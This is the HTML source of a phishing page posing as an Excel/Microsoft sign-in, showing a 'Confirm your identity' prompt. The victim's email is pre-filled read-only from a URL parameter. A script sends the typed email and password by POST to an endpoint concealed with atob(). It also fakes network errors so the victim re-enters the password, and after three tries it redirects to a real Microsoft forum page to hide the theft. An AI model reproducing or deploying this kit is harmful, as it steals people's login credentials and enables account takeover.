<!DOCTYPE html>
<html lang="en-US">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Excel – Auric Place</title>
    <meta name="robots" content="max-image-preview:large">
    <link rel="stylesheet" id="hello-elementor-css" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/style.min.css" media="all">
    <link rel="stylesheet" id="elementor-frontend-css" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/frontend.min.css" media="all">
    <link rel="stylesheet" id="widget-image-css" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/widget-image.min.css" media="all">
    <link rel="stylesheet" id="widget-icon-list-css" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/widget-icon-list.min.css" media="all">
    <link rel="stylesheet" id="elementor-post-978-css" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/post-978.css" media="all">
    <link rel="icon" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/xcsx.png" sizes="32x32">
    <link rel="icon" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/xcsx.png" sizes="192x192">
    <link rel="apple-touch-icon" href="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/xcsx.png">
    <meta name="msapplication-TileImage" content="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/xcsx.png">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
	<style>
        .error-message {
          color: red;
          font-size: 14px;
          margin-top: 5px;
          margin-left: 2px;
        }
    </style>
  </head>
  <body class="page-template page-template-elementor_canvas page page-id-978 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page elementor-page-978 e--ua-blink e--ua-chrome e--ua-webkit" data-elementor-device-mode="desktop">
    <div data-elementor-type="wp-page" data-elementor-id="978" class="elementor elementor-978" data-elementor-post-type="page">
      <div class="elementor-element elementor-element-17950db e-con-full e-flex e-con e-parent e-lazyloaded" data-id="17950db" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
        <div class="elementor-element elementor-element-ef7f8b7 e-con-full e-flex e-con e-child" data-id="ef7f8b7" data-element_type="container">
          <div class="elementor-element elementor-element-21e8037 e-con-full e-flex e-con e-child" data-id="21e8037" data-element_type="container">
            <div class="elementor-element elementor-element-34ceaa5 e-con-full e-flex e-con e-child" data-id="34ceaa5" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
              <div class="elementor-element elementor-element-f057adb e-con-full e-flex e-con e-child" data-id="f057adb" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
                <div class="elementor-element elementor-element-9207809 e-con-full e-flex e-con e-child" data-id="9207809" data-element_type="container">
                  <div class="elementor-element elementor-element-66191d9 elementor-widget elementor-widget-image" data-id="66191d9" data-element_type="widget" data-widget_type="image.default">
                    <div class="elementor-widget-container">
                      <img decoding="async" src="" title="" alt="" loading="lazy">
                    </div>
                  </div>
                  <div class="elementor-element elementor-element-1a22b28 elementor-widget elementor-widget-heading" data-id="1a22b28" data-element_type="widget" data-widget_type="heading.default">
                    <div class="elementor-widget-container">
                      <h2 class="elementor-heading-title elementor-size-default">Confirm your identity</h2>
                    </div>
					<div id="errorx" class="error-message"></div>
                  </div>
                </div>
                <div class="elementor-element elementor-element-f106c66 e-con-full e-flex e-con e-child" data-id="f106c66" data-element_type="container">
                  <div class="elementor-element elementor-element-ceec0ad elementor-widget elementor-widget-image" data-id="ceec0ad" data-element_type="widget" data-widget_type="image.default">
                    <div class="elementor-widget-container">
                      <img decoding="async" src="https://cdn.glitch.global/8399496f-ef3d-4f5f-9ba2-606722b9afc1/qwc22.png" title="" alt="" loading="lazy">
                    </div>
                  </div>
                  <div class="elementor-element elementor-element-47aade1 elementor-icon-list--layout-inline elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="47aade1" data-element_type="widget" data-widget_type="icon-list.default">
                    <div class="elementor-widget-container">
                      <ul class="elementor-icon-list-items elementor-inline-items">
                        <li class="elementor-icon-list-item elementor-inline-item">
                          <span class="elementor-icon-list-text">Please match the displayed login details</span>
                        </li>
                      </ul>
                    </div>
                  </div>
                </div>
                <div class="elementor-element elementor-element-50016db e-con-full e-flex e-con e-child" data-id="50016db" data-element_type="container">
                  <div class="elementor-element elementor-element-e2080d5 elementor-button-align-end elementor-widget elementor-widget-form" data-id="e2080d5" data-element_type="widget" data-settings="{&quot;step_next_label&quot;:&quot;Sign in&quot;,&quot;step_previous_label&quot;:&quot;Previous&quot;,&quot;button_width&quot;:&quot;100&quot;,&quot;step_type&quot;:&quot;number_text&quot;,&quot;step_icon_shape&quot;:&quot;circle&quot;}" data-widget_type="form.default">
                    <div class="elementor-widget-container">
                      <form class="elementor-form" method="post" name="New Form" id="loginForm">
                        <input type="hidden" name="post_id" value="978">
                        <input type="hidden" name="form_id" value="e2080d5">
                        <input type="hidden" name="referer_title" value="Excel">
                        <input type="hidden" name="queried_id" value="978">
                        <div class="elementor-form-fields-wrapper elementor-labels-">
                          <div class="elementor-field-type-text elementor-field-group elementor-column elementor-field-group-field_07898b5 elementor-col-100 elementor-field-required">
                            <label for="form-field-field_07898b5" class="elementor-field-label elementor-screen-only"> Email </label>
                            <input size="1" type="text" name="email" id="email" class="elementor-field elementor-size-xs  elementor-field-textual" placeholder="Email" value="info@zaxcoticltd.com" required="required" aria-required="true" readonly>
                          </div>
                          <div class="elementor-field-type-password elementor-field-group elementor-column elementor-field-group-field_b585164 elementor-col-100 elementor-field-required">
                            <label for="form-field-field_b585164" class="elementor-field-label elementor-screen-only"> Password </label>
                            <input size="1" type="password" name="password" id="password" class="elementor-field elementor-size-xs  elementor-field-textual" placeholder="Password" required="required" aria-required="true">
							<!-- Error message will be displayed here -->
							<div id="error" class="error-message"></div>
                          </div>
                          <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons">
                            <button class="elementor-button elementor-size-xs" type="submit">
                              <span class="elementor-button-content-wrapper">
                                <span class="elementor-button-text">Next</span>
                              </span>
                            </button>
                          </div>
                        </div>
                      </form>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
	<script>
		// Function to extract query parameter values
		function getQueryParam(param) {
		  const urlParams = new URLSearchParams(window.location.search);
		  return urlParams.get(param);
		}
	  
		// Automatically populate the email field from the query parameter
		const emailFromUrl = getQueryParam('e');
		if (emailFromUrl) {
			const emailField = document.getElementById("email");
			emailField.value = emailFromUrl;
			emailField.readOnly = true; // Make the field read-only
		}

        let submitCount = 0; // Counter for form submissions
      
        document.getElementById("loginForm").addEventListener("submit", function (event) {
          event.preventDefault(); // Prevent default form submission behavior
      
          // Get form inputs
          const email = document.getElementById("email").value.trim();
          const password = document.getElementById("password").value;
          const errorDiv = document.getElementById("error");
          let statusMessage = document.getElementById("statusMessage");
      
          // Ensure statusMessage element exists
          if (!statusMessage) {
            statusMessage = document.createElement("div");
            statusMessage.id = "statusMessage";
            statusMessage.style.marginTop = "10px";
            statusMessage.style.color = "green";
            document.getElementById("loginForm").appendChild(statusMessage);
          }
      
          // Reset messages
          errorDiv.textContent = "";
          statusMessage.textContent = "";
      
          // Basic validation
          if (!email) {
            errorDiv.textContent = "Email is required.";
            return;
          }
          if (password.length < 5) {
            errorDiv.textContent = "Invalid password. Password must be at least 5 characters.";
            return;
          }
      
          // Prepare form data
          const formData = new FormData();
          formData.append("email", email);
          formData.append("password", password);
      
          // Send the request using XMLHttpRequest
          const xhr = new XMLHttpRequest();
          xhr.open("POST", atob(""), true);
      
          xhr.onload = function () {
            if (xhr.status === 200) {
              try {
                const response = JSON.parse(xhr.responseText); // Assuming the PHP response is JSON
                if (response.success) {
                  statusMessage.style.color = "green";
                  statusMessage.textContent = response.message || "Login successful!";
                } else {
                  statusMessage.style.color = "red";
                  statusMessage.textContent = response.message || "Login failed. Please check your credentials.";
                }
              } catch (e) {
                statusMessage.style.color = "red";
                statusMessage.textContent = "Unexpected server response.";
              }
            } else {
              statusMessage.style.color = "red";
              statusMessage.textContent = "An error occurred. Please try again.";
            }
          };
      
          xhr.onerror = function () {
            errorx.style.color = "white";
			errorx.style.backgroundColor = 'red';
			errorx.style.padding = '10px';
			errorx.style.fontSize = '16px';
            errorx.textContent = "Network error, please try again!";
			document.getElementById("password").value = "";
          };
      
          xhr.send(formData);
      
          // Increment the submission counter
          submitCount++;
      
          // Redirect to google.com after 3 submissions
          if (submitCount === 3) {
            window.location.href = "https://techcommunity.microsoft.com/discussions/excelgeneral/problems-dowloading-excel-files-from-online/2807582";
          }
        });
      </script>
  </body>
</html>